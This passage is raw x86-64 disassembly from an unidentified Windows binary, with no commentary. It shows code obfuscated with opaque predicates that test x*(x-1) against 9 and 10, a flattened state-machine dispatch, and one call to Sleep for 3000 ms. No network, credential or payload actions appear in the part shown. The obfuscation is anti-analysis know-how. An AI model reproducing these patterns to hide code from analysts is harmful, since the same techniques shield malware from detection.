and ecx, 0xe66a16e7
and edx, 0x1995e918
or edx, ecx
xor edx, 0x1995e918
setne r9b
sete r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
mov ebx, r10d
xor bl, r9b
and bl, r10b
mov eax, ebx
not al
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
and dl, r8b
xor al, 1
and al, cl
or al, dl
mov edx, ecx
xor dl, r10b
and dl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xee17d003
mov edx, 0xf93cb3ab
cmovne ecx, edx
test bl, bl
mov ebx, 0xee17d003
cmove ecx, ebx
test al, 1
cmovne ecx, edx
jmp 0x1401a26c0
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xc4b2a37
and eax, ecx
not ecx
mov ebx, ecx
and ebx, 0x44a2002
and edx, 0x8010a35
or edx, ebx
xor edx, 0x8010a35
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x4ef4945b
and eax, 0xb10b6ba4
or eax, edx
xor eax, 0x42bfbe6d
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x39d57fa2
and eax, 0xc62a805d
or eax, ecx
xor eax, 0xc62a805d
sete r9b
setne r8b
cmp dword [0x1402656c4], 9
setg al
mov ebx, r8d
xor bl, r9b
and bl, r8b
mov edx, ebx
xor dl, 1
mov ecx, edx
and cl, bl
mov r10d, edx
and r10b, cl
xor cl, dl
or cl, r10b
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and cl, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, al
mov r10d, ecx
xor r10b, 1
xor r9b, al
and r9b, al
xor al, r8b
mov ebx, r9d
xor bl, 1
xor r9b, al
xor al, 1
or al, bl
xor al, 1
or al, r9b
mov edx, ecx
and dl, r10b
mov ebx, edx
xor bl, 1
xor dl, cl
or bl, r10b
xor bl, 1
or bl, dl
xor bl, al
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, ebx
xor cl, al
not cl
test cl, 1
mov ecx, 0x4549ac1d
mov edx, 0x65a50088
cmovne ecx, edx
test al, 1
mov eax, 0x4549ac1d
jmp 0x14018a610
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x9d63ae77
and edx, 0x629c5188
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x104e4e47
and edx, 0xefb1b1b8
or edx, ecx
xor edx, 0x8d2de031
mov ecx, edx
and ecx, ebx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
xor al, r8b
xor al, 1
or al, bl
and cl, bl
and dl, r8b
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x40208270
mov edx, 0xfc1c79b9
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
jmp 0x1401a1a3b
mov rax, qword [rbp - 8]
mov eax, 0x59926e0d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xb1e39057
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0xd42c0575
mov ecx, edi
not ecx
or edx, 0x1c18800
and edx, 0x45e98864
and ebx, 0x90040511
or ebx, edx
and edi, 0x45e98864
and ecx, 0x2a12728a
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x433c0609
and ecx, 0xbcc3f9f6
or ecx, edx
mov edi, ecx
xor edi, 0x68effc83
mov ebx, ecx
xor ebx, 0x68effc82
and ebx, edi
xor ecx, 0x87000218
and ecx, 0x8f084299
and edi, 0x70f7bd66
or edi, ecx
xor edi, 0x70f7bd67
mov ecx, ebx
and ecx, edi
xor edi, ebx
or edi, ecx
mov ecx, edi
mov edx, edi
xor edx, 0xa114f9b
and edx, edi
not edi
and edi, 0x8014800
and ecx, 0x210079b
or ecx, edi
xor ecx, 0x210079b
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf5eeb064
and edx, 0xa114f9b
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x60e392b6
and ecx, 0x9f1c6d49
or ecx, edx
mov edx, ecx
xor edx, 0x40a11026
xor ecx, 0x1b186801
and ecx, 0x3b5aea91
and edx, 0xc4a5156e
or edx, ecx
xor edx, 0xc4a5156e
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, edx
and al, bl
or dl, cl
and cl, r8b
or cl, al
xor cl, 1
or cl, bl
or bl, r8b
mov eax, ebx
xor al, dl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov eax, ebx
and al, dl
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov r8d, eax
and r8b, cl
xor dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, r8b
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x86ccbee1
mov edx, 0xa2c3ce02
cmovne ecx, edx
test bl, 1
mov edx, 0x86ccbee1
jmp 0x14019d264
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x293f4d7f
mov edx, ebx
xor edx, 0x293f4d7f
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x56d591af
and edx, 0xa92a6e50
or edx, edi
mov edi, edx
xor edi, 0x8015232e
xor edx, 0x40c0cc11
mov esi, edi
and esi, 0x3f2f30e8
and edx, 0xc0d0cf17
or edx, esi
or edi, ebx
and ebx, 0x3f2f30e8
and ecx, 0xc0d0cf17
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
cmp edi, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, dl
and r8b, cl
or r8b, al
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov r9d, ecx
xor r9b, 1
mov eax, r8d
xor al, 1
mov ebx, r8d
and bl, al
mov r11d, ecx
and r11b, r9b
mov r10d, ebx
and r10b, r8b
xor bl, r8b
or bl, r10b
mov edx, r11d
xor dl, 1
xor r11b, cl
or dl, r9b
xor dl, 1
or dl, r11b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2ddaaa2c
mov ebx, 0xa13c8b5c
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0x2ddaaa2c
jmp 0x1401a14db
mov eax, 0x17ace703
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xea03104f
mov ebx, ecx
and ebx, 0x14948020
or ebx, edx
xor ebx, 0x14948020
and ecx, 0x1686f90
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc2971161
and ecx, 0x3d68ee9e
or ecx, edx
mov edx, ecx
xor edx, 0xc3ff7ef1
mov ebx, ecx
xor ebx, 0x3800010a
and ebx, 0xb8585d9b
xor ecx, 0x8744ff19
and ecx, edx
and edx, 0x47a7a264
or edx, ebx
mov esi, edx
xor esi, 0x47a7a264
mov edi, esi
and edi, 0x44bb81e8
mov ebx, edi
and ebx, ecx
xor ecx, edi
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x2ee1b87a
and ecx, 0xd11e4785
or ecx, ebx
mov ebx, ecx
xor ebx, 0x1584c000
and esi, 1
xor edx, 0x47a7a265
or edx, esi
mov edi, edx
not edi
and edi, 0x1f620a31
and edx, 0xe09df5ce
or edx, edi
mov edi, edx
xor edi, 0x609cd080
xor ecx, 0x6a5a3993
xor edx, 0x1f620a31
mov esi, ecx
and esi, 0x82632f6f
and ebx, 0x7d9cd090
or ebx, esi
or ecx, edx
and edx, 0x82632f6f
and edi, 0x7d9cd090
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0xc573196f
and ecx, 0x3a8ce690
or ecx, edx
mov edx, ecx
xor edx, 0xc153114d
xor ecx, 0x2a046680
and ecx, 0x2e246ea2
and edx, 0xd1db915d
or edx, ecx
xor edx, 0xd1db915d
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
xor al, 1
or al, r8b
mov ebx, eax
xor bl, 1
and dl, r9b
and cl, r8b
or cl, dl
mov edx, ecx
not dl
and dl, bl
and al, cl
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xf7f2a4d4
mov ebx, 0xbc4dac0f
cmovne ecx, ebx
test al, al
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0xf7f2a4d4
jmp 0x14019f4d9
mov ecx, dword [0x1402656c8]
lea edx, [rcx - 1]
imul edx, ecx
mov r8d, edx
not r8d
mov eax, edx
xor eax, 0x8e65533e
and eax, edx
mov ecx, edx
or ecx, 0x719aacc1
mov edi, eax
not edi
mov esi, ecx
and esi, 0x285905a5
mov ebx, r8d
and ebx, 0x8624521a
or ebx, esi
or ecx, edi
and edi, 0x285905a5
and eax, 0xd7a6fa5a
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x719aacc0
and ecx, 0x8e65533f
or ecx, eax
mov eax, ecx
not eax
and eax, 0xad294d66
and ecx, 0x52d6b299
or ecx, eax
xor ecx, 0x52d6b299
and r8d, 0xeff957d4
and edx, 0x1006a82b
or edx, r8d
xor edx, 0x1006a82b
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
cmp edx, 0xffffffff
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl r8b
mov edx, r8d
xor dl, cl
xor dl, 1
mov ebx, r8d
or bl, al
xor bl, 1
or bl, dl
xor bl, 1
or cl, r8b
xor cl, 1
xor al, r8b
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xaa4dc762
mov ebx, 0x555bc86b
cmovne eax, ebx
test cl, cl
mov ecx, 0xaa4dc762
jmp 0x14019e249
mov edx, dword [0x1402656c8]
mov esi, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0xf8d66271
mov edx, ecx
and edx, 0x7299d8e
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x7299d8f
and edx, 0xf8d66270
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xdee32ef
and edx, 0xf211cd10
or edx, ebx
xor edx, 0xf211cd10
and edi, 0x905d44e0
and ecx, 0x6fa2bb1f
or ecx, edi
xor ecx, 0x6fa2bb1f
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
cmp esi, 0xa
setl dl
mov ebx, edx
xor bl, cl
mov r8d, ebx
xor r8b, 1
cmp esi, 9
setg al
xor al, cl
xor al, 1
and dl, cl
or dl, bl
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
xor bl, dl
or dl, r8b
mov eax, ebx
xor al, dl
not al
test al, 1
mov eax, 0xa984223c
mov ecx, 0x3d588956
cmovne eax, ecx
test bl, 1
mov ecx, 0xa984223c
jmp 0x14019ec36
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8b895965
and edx, 0x7476a69a
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x68710ac7
and edx, 0x978ef538
or edx, ecx
mov ebx, edx
xor ebx, 0x1c07ac5d
mov edi, edx
xor edi, 0x1c07ac5c
and edi, ebx
xor edx, 0xe3f853a2
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov ecx, edi
not ecx
mov edx, ebx
not edx
mov esi, ecx
and esi, 0x5d988ebb
and edi, 0xa2677144
or edi, esi
or ecx, edx
and edx, 0x5d988ebb
and ebx, 0xa2677144
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0xe37043ae
and ebx, 0x1c8fbc51
or ebx, esi
or ecx, edi
and edi, 0xe37043ae
and edx, 0x1c8fbc51
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xac6d9841
and ecx, 0x539267be
or ecx, edx
xor ecx, 0x539267be
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
and bl, r8b
or bl, cl
xor dl, al
xor dl, 1
mov ecx, eax
xor cl, r8b
or al, r8b
xor al, 1
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
xor bl, 1
mov ecx, ebx
or cl, al
xor bl, al
mov edx, ecx
xor dl, bl
test bl, 1
mov eax, 0xe7d23df4
mov ebx, 0x5e832ae8
cmovne eax, ebx
test cl, 1
mov ecx, 0xe7d23df4
jmp 0x1401a0085
mov rax, qword [rbp - 8]
mov eax, dword [0x1402656c8]
lea r8d, [rax - 1]
imul r8d, eax
mov ecx, r8d
not ecx
mov eax, ecx
and eax, 0xfb7fbe89
mov edx, r8d
and edx, 0x4804176
or edx, eax
mov eax, edx
xor eax, 0x4000
xor edx, 0x2273aa81
mov ebx, r8d
xor ebx, 0x22f3eaa1
and ebx, r8d
or edx, 0xdd0c155e
mov esi, ebx
not esi
mov edi, edx
and edi, 0x7fa5bb72
and eax, 0x524081
or eax, edi
or edx, esi
and esi, 0x7fa5bb72
and ebx, 0x805a448d
or ebx, esi
xor ebx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xdd0c155f
and edx, 0x22f3eaa0
or edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xe104139f
and edx, 0x1efbec60
or edx, ebx
and r8d, 0xe104139f
and ecx, 0x1efbec60
or ecx, r8d
xor ecx, edx
xor eax, ecx
test eax, ecx
sete al
setne cl
cmp dword [0x1402656c4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
xor al, bl
mov ebx, edx
and bl, al
xor al, 1
and cl, al
or cl, bl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x92d841a
mov ebx, 0x7fefb0d1
cmovne edx, ebx
test al, al
mov eax, 0x92d841a
jmp 0x1401a1190
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xf1104ea1
mov ecx, ebx
and ecx, 0xeefb15e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6575160b
and ecx, 0x9a8ae9f4
or ecx, edx
mov edx, ecx
xor edx, 0x31a8254
xor ecx, 0x90045028
and ecx, 0xf8847528
and edx, 0x77b8ad7
or edx, ecx
xor edx, 0x77b8ad7
and edi, 0xe8dc77fd
and ebx, 0x17238802
or ebx, edi
xor ebx, 0x17238802
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x99425e04
and ebx, 0x66bda1fb
or ebx, ecx
xor ebx, 0x66bda1fb
sete dl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, ecx
and cl, r8b
and r8b, r9b
and al, dl
or al, r8b
mov ebx, eax
xor bl, r9b
and bl, al
and dl, r9b
or cl, dl
mov eax, ebx
xor al, 1
mov r8d, ecx
xor r8b, 1
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
and dl, cl
and al, r8b
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x777fde37
mov ebx, 0x7fefb0d1
cmovne ecx, ebx
test al, al
cmove ecx, ebx
not dl
test dl, 1
mov eax, 0x777fde37
jmp 0x14019f4d9
mov rax, qword [rbp - 0x48]
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xf26faba
and edx, ecx
and ecx, 0xf0d90545
or ecx, ebx
mov ebx, ecx
xor ebx, 0x510041
xor ecx, 0xf26faba
mov edi, edx
not edi
mov esi, ecx
and esi, 0xf6ac7794
and ebx, 0x953886b
or ebx, esi
or ecx, edi
and edi, 0xf6ac7794
and edx, 0x953886b
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0xbaccd4d
and edi, edx
mov eax, edx
or eax, 0xbaccd4d
mov esi, eax
not esi
mov ebx, edi
not ebx
mov r9d, ebx
and r9d, 0xf662386e
and edi, 0x99dc791
or edi, r9d
or ebx, eax
and eax, 0xf662386e
and esi, 0x110290
or esi, eax
xor esi, edi
not ebx
or ebx, esi
mov eax, ebx
not eax
and eax, 0xf45332b3
and ebx, 0xbaccd4c
or ebx, eax
and ecx, 0xc7be3548
mov eax, edx
and eax, 0x3841cab7
or eax, ecx
xor eax, 0xc7be3549
and edx, 1
or edx, eax
not edx
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xb1ed9a8a
and ecx, edx
not edx
and edx, 0x10cc080a
and eax, 0xa1219280
or eax, edx
xor eax, 0xa1219280
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x943835de
and ecx, 0x6bc7ca21
or ecx, eax
mov eax, ecx
xor eax, 0x20a0029
xor ecx, 0x5c1a904
and ecx, 0xdde1f986
and eax, 0x221e0679
or eax, ecx
mov ecx, eax
xor ecx, 0x20020268
xor eax, 0x4d804886
and eax, 0x4f9c4c97
and ecx, 0xb063b368
or ecx, eax
mov eax, ecx
xor eax, 0x7940882
xor ecx, 0xa0413228
and ecx, 0xe849763d
and eax, 0x17b689c2
or eax, ecx
xor eax, 0x17b689c2
setne al
sete r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
and al, dl
mov ebx, ecx
xor bl, r9b
xor dl, r9b
and r9b, cl
or al, r9b
and bl, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
not cl
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov ecx, ebx
xor cl, dl
test dl, dl
mov eax, 0x5629df08
mov edx, 0x7bfd438a
cmovne eax, edx
test bl, bl
mov ebx, 0x5629df08
cmovne eax, ebx
jmp 0x1401a2f69
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0xe39c3de3
mov edi, edx
and edi, ecx
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xdb7e7ad1
and edx, 0x2481852e
or edx, edi
xor edx, 0x38e24733
and ebx, 0x99854521
mov edi, ecx
and edi, 0x667abade
or edi, ebx
xor edi, 0x99854520
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x448798dd
and edx, 0xbb786722
or edx, ecx
mov ecx, edx
xor ecx, 0x4020888
xor edx, 0xbb786722
mov ebx, edx
and ebx, 0xd28dd057
and ecx, 0x2d722fa8
or ecx, ebx
xor ecx, 0x2d722fa8
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
and bl, dl
and dl, r8b
xor al, r8b
or al, dl
and cl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0x69ea7512
mov ecx, 0xc1890fe7
cmovne eax, ecx
test dl, 1
cmove eax, ecx
test bl, 1
mov ecx, 0x69ea7512
jmp 0x1401a14db
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0xe7d49f73
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x20020000
and edx, 0x8ab805b1
lea edi, [rbx + rdx]
xor edi, 0x8a100521
lea ebx, [rbx + rdx]
add ebx, 0x5413008
mov ecx, esi
or ecx, 0xaaba05b1
mov edx, ecx
not edx
and ebx, 0x5e93098
and edi, 0xaa120521
or edi, ebx
and ecx, 0x5e93098
and edx, 0x5004ca46
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x47010424
and edx, 0xb8fefbdb
or edx, ecx
mov ecx, edx
xor ecx, 0x408c28
xor edx, 0xe0200194
and edx, 0xf22473d7
and ecx, 0xddb8c28
or ecx, edx
xor ecx, 0xddb8c28
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and r8b, al
and al, dl
or al, cl
and bl, dl
or bl, r8b
mov ecx, ebx
xor cl, al
xor al, 1
mov edx, eax
xor dl, bl
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x256e3cb
mov ebx, 0x1aed5def
cmovne ecx, ebx
test al, 1
mov eax, 0x256e3cb
jmp 0x1401a14d6
mov eax, 0x6ef73f5b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xe4d96706
and edx, ecx
not ecx
and ecx, 0x9b48daf7
and eax, 0x64b72508
or eax, ecx
mov ecx, eax
xor ecx, 0x24110000
xor eax, 0x80484206
or eax, 0x1b2698f9
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xd0ca3da0
and ecx, 0x24114206
or ecx, edi
or eax, ebx
and ebx, 0xd0ca3da0
and edx, 0x2f35c25f
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x1b2698f9
and eax, 0xe4d96706
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xf1213495
mov ebx, eax
and ebx, 0xedecb6a
or ebx, edx
mov edx, ebx
not edx
and edx, 0xedecb6b
and ebx, 0xf1213494
or ebx, edx
and eax, 0x32c4329
mov edx, ecx
and edx, 0xfcd3bcd6
or edx, eax
xor edx, 0x32c4328
and ecx, 1
or ecx, edx
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x1498b313
and edx, ecx
not ecx
and ecx, 0x4982101
and eax, 0x10009212
or eax, ecx
xor eax, 0x10009212
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and eax, 0x6c88a59a
and edx, 0x93775a65
or edx, eax
mov eax, edx
xor eax, 0x587a152
xor edx, 0x50100680
and eax, 0x2d87b15b
and edx, 0xd2784ea4
or edx, eax
xor edx, 0x2d87b15b
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402656c4], 9
setg al
mov edx, eax
xor dl, cl
mov ebx, edx
xor bl, al
and bl, dl
not dl
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
xor al, 1
mov edx, ecx
and dl, bl
mov r8d, ecx
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc3174253
mov ebx, 0x47d9e3e5
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xc3174253
jmp 0x1401a14db
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xd8b40f
mov edi, ecx
and edi, 0xff274bf0
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0x37272fa8
and edi, 0xc8d8d057
or edi, ebx
xor edi, 0x37ff9ba6
and edx, 0x1cc49708
and ecx, 0xe33b68f7
or ecx, edx
xor ecx, 0xe33b68f7
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, r9b
mov r10d, ecx
xor r10b, al
and r10b, cl
and bl, r8b
and al, r9b
or al, bl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
mov eax, ebx
xor bl, 1
and bl, r10b
xor r10b, 1
and al, r10b
or bl, al
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xa643c2
mov edx, 0x6cda7872
cmovne eax, edx
test cl, cl
mov ecx, 0xa643c2
jmp 0x1401a1a38
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x4b1bfcbf
mov ecx, ebx
and ecx, 0xb4e40340
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf224b76c
and ecx, 0xddb4893
or ecx, edx
mov edx, ecx
xor edx, 0x40c01025
xor ecx, 0x1234242
and ecx, 0x723e64a
and edx, 0xf8dc19b5
or edx, ecx
xor edx, 0xf8dc19b5
and edi, 0xec16ad8d
and ebx, 0x13e95272
or ebx, edi
xor ebx, 0x13e95272
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
cmp ebx, 0xffffffff
sete bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, ebx
xor cl, r8b
mov eax, ecx
or al, dl
xor dl, bl
not dl
and dl, bl
and cl, r8b
mov ebx, edx
xor bl, 1
xor dl, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
xor dl, 1
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5de95d3a
mov ebx, 0x6913c3c0
cmovne eax, ebx
test dl, 1
mov edx, eax
mov ebx, 0x5de95d3a
jmp 0x14018a4c2
mov eax, 0xd25e6527
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xa384069a
and edx, ebx
not ebx
and ebx, 0x80000092
and ecx, 0x23840608
or ecx, ebx
mov ebx, ecx
xor ebx, 0x21800208
xor ecx, 0xdc7bf9f7
mov edi, edx
not edi
mov esi, ecx
and esi, 0x4e472c61
and ebx, 0xa180029a
or ebx, esi
or ecx, edi
and edi, 0x4e472c61
and edx, 0xb1b8d39e
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x62b701b6
and ecx, 0x9d48fe49
or ecx, edx
mov edx, ecx
xor edx, 0x3eccf8d3
xor ecx, 0x40330124
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0x6a77c1e5
